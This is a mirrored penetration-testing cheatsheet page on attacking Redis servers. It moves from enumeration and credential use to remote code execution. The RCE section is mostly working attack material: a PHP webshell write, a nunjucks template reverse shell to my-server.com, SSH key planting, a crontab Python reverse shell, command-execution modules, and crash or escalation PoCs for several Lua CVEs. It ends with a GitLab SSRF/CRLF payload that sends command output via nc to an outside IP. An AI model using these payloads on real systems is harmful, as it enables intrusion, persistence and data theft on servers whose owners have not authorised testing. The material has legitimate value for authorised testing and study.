daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

6379-pentesting-redis.md (29112B)


      1 ---
      2 title: "6379 - Pentesting Redis"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/6379-pentesting-redis.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/6379-pentesting-redis.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 6379 - Pentesting Redis
     14 
     15 ## Basic Information
     16 
     17 Redis is an open-source, in-memory **data-structure store** used as a **database, cache, streaming engine, and message broker**.<sup>[[20]](#references)</sup>
     18 
     19 Redis uses the RESP protocol over TCP and can also be configured with **TLS**.<sup>[[21]](#references)</sup><sup>[[22]](#references)</sup>
     20 
     21 **Default port:** 6379
     22 
     23 ```text
     24 PORT     STATE SERVICE  VERSION
     25 6379/tcp open  redis   Redis key-value store 4.0.9
     26 ```
     27 
     28 ## Automatic Enumeration
     29 
     30 Some automated tools that can help obtain information from a Redis instance:
     31 
     32 ```bash
     33 nmap --script redis-info -sV -p 6379 <IP>
     34 msf> use auxiliary/scanner/redis/redis_server
     35 ```
     36 
     37 ## Manual Enumeration
     38 
     39 ### Banner
     40 
     41 RESP is a readable request-response protocol, so commands can be sent over a raw socket and the returned values inspected directly. Redis can also run over **TLS**, which is common in managed deployments.<sup>[[21]](#references)</sup><sup>[[22]](#references)</sup>
     42 
     43 In a regular Redis instance you can just connect using `nc` or you could also use `redis-cli`:
     44 
     45 ```bash
     46 nc -vn 10.10.10.10 6379
     47 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
     48 ```
     49 
     50 The **first command** you could try is **`info`**. It **may return output with information** of the Redis instance **or something** like the following is returned:
     51 
     52 ```text
     53 -NOAUTH Authentication required.
     54 ```
     55 
     56 In this last case, this means that **you need valid credentials** to access the Redis instance.
     57 
     58 ### Redis Authentication
     59 
     60 An unmodified Redis configuration exposes a default user with no password, but protected mode and network binding are intended to prevent unsafe remote access. Redis can be configured for either a password on the default user or username-and-password ACL authentication.<sup>[[23]](#references)</sup>\
     61 It is possible to **set a password** for the **default** user in _**redis.conf**_ with the parameter `requirepass` **or temporarily** until the service restarts by connecting to it and running: `config set requirepass p@ss$12E45`.\
     62 In **Redis 6+**, extra users are usually created with **ACLs** (`ACL SETUSER ...`) or loaded from an **aclfile**. The parameter **`masteruser` is for replica-to-master authentication**, not for normal client logins.<sup>[[12]](#references)</sup>
     63 
     64 > [!TIP]
     65 > If only password is configured the username used is usually "**default**".\
     66 > Also, note that there is **no way to find externally** if Redis was configured with only password or username+password until you test valid credentials.
     67 
     68 In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#redis) it.\
     69 **In case you found valid credentials you need to authenticate the session** after establishing the connection with one of the following commands:
     70 
     71 ```bash
     72 AUTH <password>                         # Password-only / default user
     73 AUTH <username> <password>              # ACL user
     74 HELLO 3 AUTH <username> <password>      # Authenticate and switch to RESP3 in one step
     75 ```
     76 
     77 **Valid credentials** will be responded with: `+OK`. If you get **`NOPERM`** after authenticating, the creds are valid but the ACL user is restricted.
     78 
     79 ### **Authenticated enumeration**
     80 
     81 If the Redis server permits **anonymous connections** or if you have obtained valid credentials, you can initiate the enumeration process for the service using the following **commands**:
     82 
     83 ```bash
     84 INFO
     85 [ ... Redis response with info ... ]
     86 client list
     87 [ ... Redis response with connected clients ... ]
     88 CONFIG GET *
     89 [ ... Get config ... ]
     90 ```
     91 
     92 ### ACL & capability reconnaissance (Redis 6+)
     93 
     94 In **modern Redis** the most important question after login is usually **what your current user can actually do**. Many real environments expose a **low-privilege ACL user** that can read data but **cannot** run `CONFIG`, `MODULE`, `EVAL`, `FUNCTION`, or `REPLICAOF`. Check that before investing time in a full RCE chain:<sup>[[12]](#references)</sup>
     95 
     96 ```bash
     97 ACL WHOAMI
     98 ACL USERS
     99 ACL GETUSER <USER>
    100 ACL CAT @dangerous
    101 COMMAND INFO CONFIG EVAL FUNCTION FCALL REPLICAOF MODULE
    102 MODULE LIST
    103 FUNCTION LIST
    104 FUNCTION LIST WITHCODE
    105 ```
    106 
    107 Useful things to infer from that output:
    108 
    109 - **`ACL WHOAMI`** tells you which user the current session actually authenticated as.
    110 - **`ACL GETUSER`** shows command categories, key patterns, pub/sub patterns and, in Redis 7+, **selectors** that may restrict commands to specific key patterns.
    111 - **`COMMAND INFO`** is useful when `ACL GETUSER` is denied: it still helps you see whether a command exists, was renamed, or was completely removed.
    112 - **`FUNCTION LIST WITHCODE`** may leak **persisted Lua libraries** that contain business logic, secrets, or attacker-added persistence.
    113 
    114 The official command reference and the LZone cheat sheet contain additional Redis commands.<sup>[[21]](#references)</sup><sup>[[31]](#references)</sup>
    115 
    116 Note that the **Redis commands of an instance can be renamed** or removed in the _redis.conf_ file. For example this line will remove the command FLUSHDB:
    117 
    118 ```text
    119 rename-command FLUSHDB ""
    120 ```
    121 
    122 Review Redis's security guidance before exposing the service outside a trusted management network.<sup>[[23]](#references)</sup>
    123 
    124 You can also **monitor in real time the Redis commands** executed with the command **`monitor`** or get the top **25 slowest queries** with **`slowlog get 25`**
    125 
    126 The LZone cheat sheet provides additional enumeration examples.<sup>[[31]](#references)</sup>
    127 
    128 ### **Dumping Database**
    129 
    130 Inside Redis the **databases are numbers starting from 0**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk:
    131 
    132 ![Authenticated enumeration - Dumping Database: Inside Redis the databases are numbers starting from 0 . You can find if anyone is used in the output of the command info inside the...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28766%29.png)
    133 
    134 Or you can just get all the **keyspaces** (databases) with:
    135 
    136 ```text
    137 INFO keyspace
    138 ```
    139 
    140 In that example the **database 0 and 1** are being used. **Database 0 contains 4 keys and database 1 contains 1**. By default Redis will use database 0. In order to dump for example database 1 you need to do:
    141 
    142 ```bash
    143 SELECT 1
    144 [ ... Indicate the database ... ]
    145 KEYS *
    146 [ ... Get Keys ... ]
    147 GET <KEY>
    148 [ ... Get Key ... ]
    149 ```
    150 
    151 In case you get the following error `-WRONGTYPE Operation against a key holding the wrong kind of value` while running `GET <KEY>` it's because the key may be something else than a string or an integer and requires a special operator to display it.
    152 
    153 To know the type of the key, use the `TYPE` command, example below for list and hash keys.
    154 
    155 ```bash
    156 TYPE <KEY>
    157 [ ... Type of the Key ... ]
    158 LRANGE <KEY> 0 -1
    159 [ ... Get list items ... ]
    160 HGET <KEY> <FIELD>
    161 [ ... Get hash item ... ]
    162 
    163 # If the type used is weird you can always do:
    164 DUMP <key>
    165 ```
    166 
    167 You can also dump data with the npm **redis-dump** package or the Python **redis-utils** package.<sup>[[24]](#references)</sup><sup>[[25]](#references)</sup>
    168 
    169 ## Redis RCE
    170 
    171 ### Interactive Shell
    172 
    173 **redis-rogue-server** automates a replication/module-loading chain to obtain an interactive or reverse shell on compatible Redis deployments (the project documents Redis 4.x/5.x targets).<sup>[[26]](#references)</sup>
    174 
    175 ```text
    176 ./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>
    177 ```
    178 
    179 ### Modern hardening caveat (Redis 7+)
    180 
    181 The classic **`CONFIG SET dir/dbfilename` + `SAVE`** tricks and **`MODULE LOAD`** chains still work in **older Redis** and are common in labs/CTFs, but **newer Redis ships with extra hardening**:<sup>[[13]](#references)</sup>
    182 
    183 - Configs that control where Redis writes files (for example **`dir`** and **`dbfilename`**) are **protected/immutable by default**.
    184 - **`MODULE LOAD`** is **disabled by default** unless **`enable-module-command`** was explicitly enabled in `redis.conf`.
    185 - These protections may also be set to **`local`**, meaning the primitive is only reachable from **loopback / Unix socket** clients.
    186 
    187 So, after authentication, **test the exact primitive you need first**:
    188 
    189 ```bash
    190 CONFIG GET dir dbfilename appendonly
    191 CONFIG SET dir /tmp
    192 MODULE LIST
    193 MODULE LOAD /tmp/mymodule.so
    194 ```
    195 
    196 If direct remote access cannot use those primitives but an **SSRF can talk to `127.0.0.1:6379`** (or you can reach a local Unix socket), a **`local`-only** policy may still become exploitable from that pivot.
    197 
    198 ### PHP Webshell
    199 
    200 Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). You must know the **path** of the **Web site folder**:<sup>[[14]](#references)</sup>
    201 
    202 ```text
    203 root@Urahara:~# redis-cli -h 10.85.0.52
    204 10.85.0.52:6379> config set dir /usr/share/nginx/html
    205 OK
    206 10.85.0.52:6379> config set dbfilename redis.php
    207 OK
    208 10.85.0.52:6379> set test "<?php phpinfo(); ?>"
    209 OK
    210 10.85.0.52:6379> save
    211 OK
    212 ```
    213 
    214 If the web shell fails because the generated database file contains incompatible bytes, back up the database, test with an empty database, and restore the data afterward.
    215 
    216 ### Template Webshell
    217 
    218 Like in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell.
    219 
    220 For example, following [**this writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), you can see that the attacker injected a **rev shell in an html** interpreted by the **nunjucks template engine:**<sup>[[15]](#references)</sup>
    221 
    222 ```javascript
    223 {{ ({}).constructor.constructor(
    224   "var net = global.process.mainModule.require('net'),
    225        cp = global.process.mainModule.require('child_process'),
    226        sh = cp.spawn('sh', []);
    227    var client = new net.Socket();
    228    client.connect(1234, 'my-server.com', function(){
    229       client.pipe(sh.stdin);
    230       sh.stdout.pipe(client);
    231       sh.stderr.pipe(client);
    232    });"
    233 )()}}
    234 ```
    235 
    236 > [!WARNING]
    237 > Several template engines cache templates in **memory**, so overwriting a file may not trigger execution. Automatic reload may be enabled in development environments; otherwise the service must reload or restart before the overwritten template is used. In an explicitly authorized test, forcing that restart may demonstrate the chain, but it is disruptive and may cause a denial of service; do not do so without specific permission.<sup>[[15]](#references)</sup>
    238 
    239 ### SSH
    240 
    241 Example [from this archived guide](https://web.archive.org/web/20240000000000id_/https://blog.adithyanak.com/oscp-preparation-guide/enumeration)<sup>[[16]](#references)</sup>
    242 
    243 Please be aware **`config get dir`** result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of **`config get dir`** you could find the **home** of the **redis user** (usually _/var/lib/redis_ or _/home/redis/.ssh_), and knowing this you know where you can write the `authorized_keys` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it:
    244 
    245 1. Generate a ssh public-private key pair on your pc: **`ssh-keygen -t rsa`**
    246 2. Write the public key to a file : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
    247 3. Import the file into redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
    248 4. Save the public key to the **authorized_keys** file on redis server:
    249 
    250    ```
    251    root@Urahara:~# redis-cli -h 10.85.0.52
    252    10.85.0.52:6379> config set dir /var/lib/redis/.ssh
    253    OK
    254    10.85.0.52:6379> config set dbfilename "authorized_keys"
    255    OK
    256    10.85.0.52:6379> save
    257    OK
    258    ```
    259 
    260 5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id_rsa redis@10.85.0.52**
    261 
    262 The Redis-Server-Exploit project automates this historical technique.<sup>[[27]](#references)</sup>
    263 
    264 Additionally, system users can be tested by attempting `CONFIG SET dir /home/USER`; if the Redis process can write there, an `authorized_keys` file can be targeted. **redis-rce-ssh** automates username testing and key placement.<sup>[[28]](#references)</sup>
    265 
    266 ### Crontab
    267 
    268 ```text
    269 root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
    270 OK
    271 root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
    272 OK
    273 root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
    274 OK
    275 root@Urahara:~# redis-cli -h 10.85.0.52 save
    276 OK
    277 ```
    278 
    279 The last example is for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
    280 
    281 The same arbitrary-file-write primitive has also been abused to install cryptocurrency miners.<sup>[[29]](#references)</sup>
    282 
    283 ### Load Redis Module
    284 
    285 1. Following the instructions from [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) you can **compile a redis module to execute arbitrary commands**.<sup>[[17]](#references)</sup>
    286 2. Then you need some way to **upload the compiled** module
    287 3. **Load the uploaded module** at runtime with `MODULE LOAD /path/to/mymodule.so`
    288 4. **List loaded modules** to check it was correctly loaded: `MODULE LIST`
    289 5. **Execute** **commands**:
    290 
    291    ```
    292    127.0.0.1:6379> system.exec "id"
    293    "uid=0(root) gid=0(root) groups=0(root)\n"
    294    127.0.0.1:6379> system.exec "whoami"
    295    "root\n"
    296    127.0.0.1:6379> system.rev 127.0.0.1 9999
    297    ```
    298 
    299 6. Unload the module whenever you want: `MODULE UNLOAD mymodule`
    300 
    301 ### LUA sandbox bypass
    302 
    303 Redis uses **`EVAL`** to execute Lua code in a sandbox. Historical releases exposed `dofile`, but supported Redis releases restrict scripts to specific Lua packages and deny filesystem, network, and other system calls outside the scripting API. A different sandbox escape or memory-corruption vulnerability may still lead to native command execution; the historical research also describes denial-of-service primitives.<sup>[[18]](#references)</sup><sup>[[32]](#references)</sup>
    304 
    305 An important packaging-specific Lua escape is:
    306 
    307 - **CVE-2022-0543**, which affected Debian's Redis package because the Lua library remained loadable; a public PoC is available in reference 30.<sup>[[30]](#references)</sup>
    308 
    309 #### Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
    310 
    311 Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption, and cross-user code execution.<sup>[[1]](#references)</sup><sup>[[5]](#references)</sup> These techniques apply when:
    312 - Attacker can authenticate to Redis and Lua is enabled (EVAL/EVALSHA or FUNCTION are usable)
    313 - Redis version is older than 8.2.2, 8.0.4, 7.4.6, 7.2.11, or 6.2.20
    314 
    315 Tip: If you are new to Lua sandboxing tricks, check this page for general techniques: 
    316 
    317 [Readme](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
    318 
    319 **Patch-level context:**
    320 - Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
    321 - Affected when Lua scripting is enabled and the above versions are not applied
    322 
    323 **CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (`lparser.c: luaY_parser`)**
    324 - Idea: Force garbage collection while the parser still references a freshly-inserted TString. When GC reclaims it, the parser uses a freed pointer (UAF) → crash/DoS and potential native code execution outside the Lua sandbox.<sup>[[2]](#references)</sup><sup>[[5]](#references)</sup><sup>[[6]](#references)</sup>
    325 - Trigger strategy:
    326   1) Create memory pressure with huge strings to encourage GC activity
    327   2) Explicitly run GC while a large source chunk is being compiled
    328   3) Compile a very large Lua script in a loop until GC aligns with parsing
    329 
    330 Minimal EVAL harness to reproduce crashes
    331 ```bash
    332 # Auth as needed (-a/--user), then run EVAL with 0 keys
    333 redis-cli -h <host> -p 6379 -a <password> EVAL "\
    334 local a = string.rep('asdf', 65536); \
    335 collectgarbage('collect'); \
    336 local src = string.rep('x', 1024 * 1024); \
    337 local f = loadstring(src); \
    338 return 'done'" 0
    339 ```
    340 
    341 Notes:
    342 - Multiple attempts may be required to align GC with luaY_parser. A crash indicates the UAF was hit.
    343 - From exploitation to RCE requires memory grooming and native code pivoting beyond the Redis Lua sandbox.
    344 
    345 **CVE-2025-46817 — Integer overflow in unpack (`lbaselib.c: luaB_unpack`)**
    346 - Root cause: The count `n = e - i + 1` is computed without unsigned casts, so extreme indices wrap, making Lua attempt to unpack far more elements than exist → stack corruption and memory exhaustion.<sup>[[3]](#references)</sup><sup>[[7]](#references)</sup>
    347 - PoC (DoS/mem exhaustion):
    348 ```bash
    349 redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
    350 ```
    351 - Expect the server to try returning an enormous number of values and eventually crash or OOM.
    352 
    353 **CVE-2025-46818 — Cross-user privilege escalation via basic type metatables**
    354 - Root cause: On engine initialization, metatables for basic types (e.g., strings, booleans) weren’t set read-only. Any authenticated user can poison them to inject methods other users might call later.<sup>[[4]](#references)</sup><sup>[[8]](#references)</sup>
    355 - Example (string metatable poisoning):
    356 ```bash
    357 # Inject a method on strings and then exercise it
    358 redis-cli -h <host> -p 6379 -a <password> EVAL "\
    359 getmetatable('').__index = function(_, key) \
    360   if key == 'testfunc' then \
    361     return function() return 'testfuncoutput' end \
    362   end \
    363 end; \
    364 return ('teststring').testfunc()" 0
    365 # → Returns: testfuncoutput
    366 ```
    367 - Impact: Cross-user code execution inside the Lua sandbox using the victim’s Redis permissions. Useful for lateral movement/priv-esc within Redis ACL contexts.
    368 
    369 
    370 #### Redis Functions + Replication Reentrancy UAF (DarkReplica / CVE-2026-23631)
    371 
    372 A different Redis Lua attack surface exists in the **functions engine** (`FUNCTION LOAD` / `FCALL`), not only in classic `EVAL`. In vulnerable releases, a **long-running function** can time out, enter the slow-script path, and temporarily call `processEventsWhileBlocked()`. Redis blocks most normal client commands during this state, but **replication I/O from the master is still processed**.<sup>[[9]](#references)</sup>
    373 
    374 If you can authenticate, run Redis functions, and repoint the instance to an **attacker-controlled master**, a malicious `FULLRESYNC` can free the active functions Lua engine **while execution later resumes inside it**:
    375 
    376 - Make the target a replica with `SLAVEOF` / `REPLICAOF`
    377 - Disable `replica-read-only` / `slave-read-only` if needed so `FCALL` still works
    378 - Register and run a long-lived function (for example a coroutine that reaches `while 1 do end`)
    379 - Wait for the default **5 second** slow-script timeout
    380 - From the malicious master, send a `FULLRESYNC` carrying `RDB_OPCODE_FUNCTION2` records
    381 - During RDB load, Redis clears the current functions context and frees the old Lua engine
    382 - Control returns to the still-running function/coroutine with a **freed `lua_State`** (UAF)
    383 
    384 Minimal trigger shape:<sup>[[10]](#references)</sup>
    385 
    386 ```bash
    387 redis-cli -h <target> -a <pass> FUNCTION LOAD "#!lua name=mylib\nredis.register_function('hoax', function() while 1 do end end)"
    388 redis-cli -h <target> -a <pass> REPLICAOF <attacker_ip> <attacker_port>
    389 redis-cli -h <target> -a <pass> CONFIG SET replica-read-only no
    390 redis-cli -h <target> -a <pass> FCALL hoax 0
    391 # After the timeout, answer as the master and force FULLRESYNC
    392 ```
    393 
    394 **Why this is interesting:** the post-free allocations are also attacker-controlled. `RDB_OPCODE_FUNCTION2` records are executed immediately by `rdbFunctionLoad()`, so malicious function libraries can act as a **precise post-free Lua heap spray** right after the old engine is destroyed.
    395 
    396 **Exploitation notes:**
    397 - `tostring()` on non-string/non-number Lua values leaks heap pointers (tables, functions, coroutines).
    398 - Coroutines are valuable because each one has its own `lua_State`; a freed coroutine state can stay reclaimable even if the new global engine reuses the old main state.
    399 - Fake Lua `Table` objects can turn `Table->array` into an arbitrary `TValue` read/write primitive once the attacker stabilizes execution in a clean coroutine.
    400 - A practical RCE pivot is to overwrite `lua_State->l_G->frealloc` (Lua allocator callback) after recovering arbitrary read/write.
    401 
    402 **Version context:** fixed on **May 5, 2026** in `7.2.14`, `7.4.9`, `8.2.6`, `8.4.3`, and `8.6.3`.<sup>[[11]](#references)</sup> This path is **post-auth**, but especially relevant when dangerous admin commands are exposed to weak ACL users.
    403 
    404 **Good telemetry / review points:**
    405 - `FUNCTION LOAD`, `FCALL`, `FUNCTION KILL`, `REPLICAOF` / `SLAVEOF`, and `CONFIG SET replica-read-only no`
    406 - Slow-script log entries immediately followed by replica synchronization / `FULLRESYNC`
    407 - Unexpected function libraries arriving from replication
    408 
    409 ### Primary/Replica Replication
    410 
    411 Redis replication propagates a primary's data to its replicas. If an attacker can issue `REPLICAOF`/`SLAVEOF`, the target can be pointed at an attacker-controlled primary; older module-loading chains use that control to transfer a malicious database or module. The following commands preserve the legacy terminology used by older Redis versions:
    412 
    413 ```text
    414 master redis : 10.85.0.51 (Hacker's Server)
    415 slave  redis : 10.85.0.52 (Target Vulnerability Server)
    416 A master-slave connection will be established from the slave redis and the master redis:
    417 redis-cli -h 10.85.0.52 -p 6379
    418 slaveof 10.85.0.51 6379
    419 Then you can login to the master redis to control the slave redis:
    420 redis-cli -h 10.85.0.51 -p 6379
    421 set mykey hello
    422 set mykey2 helloworld
    423 ```
    424 
    425 ## SSRF talking to Redis
    426 
    427 If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand:
    428 
    429 ```text
    430 -ERR wrong number of arguments for 'get' command
    431 -ERR unknown command 'Host:'
    432 -ERR unknown command 'Accept:'
    433 -ERR unknown command 'Accept-Encoding:'
    434 -ERR unknown command 'Via:'
    435 -ERR unknown command 'Cache-Control:'
    436 -ERR unknown command 'Connection:'
    437 ```
    438 
    439 Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** (maybe with a CRLF vuln) or **POST parameters**, you will be able to send arbitrary commands to Redis. This is especially useful when the target only enabled dangerous Redis primitives for **local** clients: an SSRF to **`127.0.0.1:6379`** may recover `CONFIG SET`, `MODULE LOAD`, or other actions that are blocked from your direct remote connection.
    440 
    441 ### Example: Gitlab SSRF + CRLF to Shell
    442 
    443 In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**.
    444 
    445 Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is:
    446 
    447 ```text
    448  multi
    449  sadd resque:gitlab:queues system_hook_push
    450  lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
    451  exec
    452 ```
    453 
    454 And the **URL encode** request **abusing SSRF** and **CRLF** to execute a `whoami` and send back the output via `nc` is:
    455 
    456 ```text
    457 git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
    458 ```
    459 
    460 _For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._<sup>[[19]](#references)</sup>
    461 
    462 ## References
    463 
    464 - [1] [Redis Security Advisory: CVE-2025-49844](https://redis.io/blog/security-advisory-cve-2025-49844/)
    465 - [2] [NVD: CVE-2025-49844](https://nvd.nist.gov/vuln/detail/CVE-2025-49844)
    466 - [3] [NVD: CVE-2025-46817](https://nvd.nist.gov/vuln/detail/CVE-2025-46817)
    467 - [4] [NVD: CVE-2025-46818](https://nvd.nist.gov/vuln/detail/CVE-2025-46818)
    468 - [5] [Wiz analysis of Redis RCE (CVE-2025-49844)](https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844)
    469 - [6] [PoC: CVE-2025-49844 — Lua parser UAF](https://github.com/dwisiswant0/CVE-2025-49844)
    470 - [7] [PoC: CVE-2025-46817 — unpack integer overflow](https://github.com/dwisiswant0/CVE-2025-46817)
    471 - [8] [PoC: CVE-2025-46818 — basic-type metatable abuse](https://github.com/dwisiswant0/CVE-2025-46818)
    472 - [9] [ZeroDay.Cloud — DarkReplica (CVE-2026-23631): Redis Use-After-Free Leads to Post-Auth RCE](https://www.zeroday.cloud/blog/redis-cve-2026-23631-dark-replica)
    473 - [10] [DarkReplica exploit repository](https://github.com/yoyosh/DarkReplica)
    474 - [11] [Redis releases (7.2.14 / 7.4.9 and later security fixes)](https://github.com/redis/redis/releases)
    475 - [12] [Redis ACL documentation](https://redis.io/docs/latest/operate/oss_and_stack/management/security/acl/)
    476 - [13] [Redis configuration file example (`enable-protected-configs` / `enable-module-command`)](https://download.redis.io/redis-stable/redis.conf)
    477 - [14] [Redis Hacking Tips (reverse-tcp.xyz, via Wayback Machine)](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)
    478 - [15] [Cyber Apocalypse CTF 2022: Red Island Writeup (NETEYE Blog)](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)
    479 - [16] [OSCP Preparation Guide - Enumeration (Adithyan AK, archived)](https://web.archive.org/web/20240000000000id_/https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
    480 - [17] [RedisModules-ExecuteCommand (GitHub)](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)
    481 - [18] [Trying to hack Redis via HTTP requests (agarri.fr)](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
    482 - [19] [GitLab 11.4.7 Remote Code Execution - Real World CTF 2018 (LiveOverflow)](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)
    483 - [20] [Redis documentation: About Redis](https://redis.io/docs/latest/get-started/)
    484 - [21] [Redis command reference](https://redis.io/docs/latest/commands/)
    485 - [22] [Redis documentation: TLS](https://redis.io/docs/latest/operate/oss_and_stack/management/security/encryption/)
    486 - [23] [Redis documentation: Security](https://redis.io/docs/latest/operate/oss_and_stack/management/security/)
    487 - [24] [npm: redis-dump](https://www.npmjs.com/package/redis-dump)
    488 - [25] [PyPI: redis-utils](https://pypi.org/project/redis-utils/)
    489 - [26] [n0b0dyCN/redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server)
    490 - [27] [Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
    491 - [28] [captain-woof/redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh)
    492 - [29] [Redis arbitrary-write miner abuse discussion](https://www.v2ex.com/t/286981#reply14)
    493 - [30] [aodsec/CVE-2022-0543 PoC](https://github.com/aodsec/CVE-2022-0543)
    494 - [31] [LZone Redis Cheat Sheet](https://lzone.de/cheat-sheet/Redis)
    495 - [32] [Redis Lua API reference: sandbox context](https://redis.io/docs/latest/develop/interact/programmability/lua-api/#sandbox-context)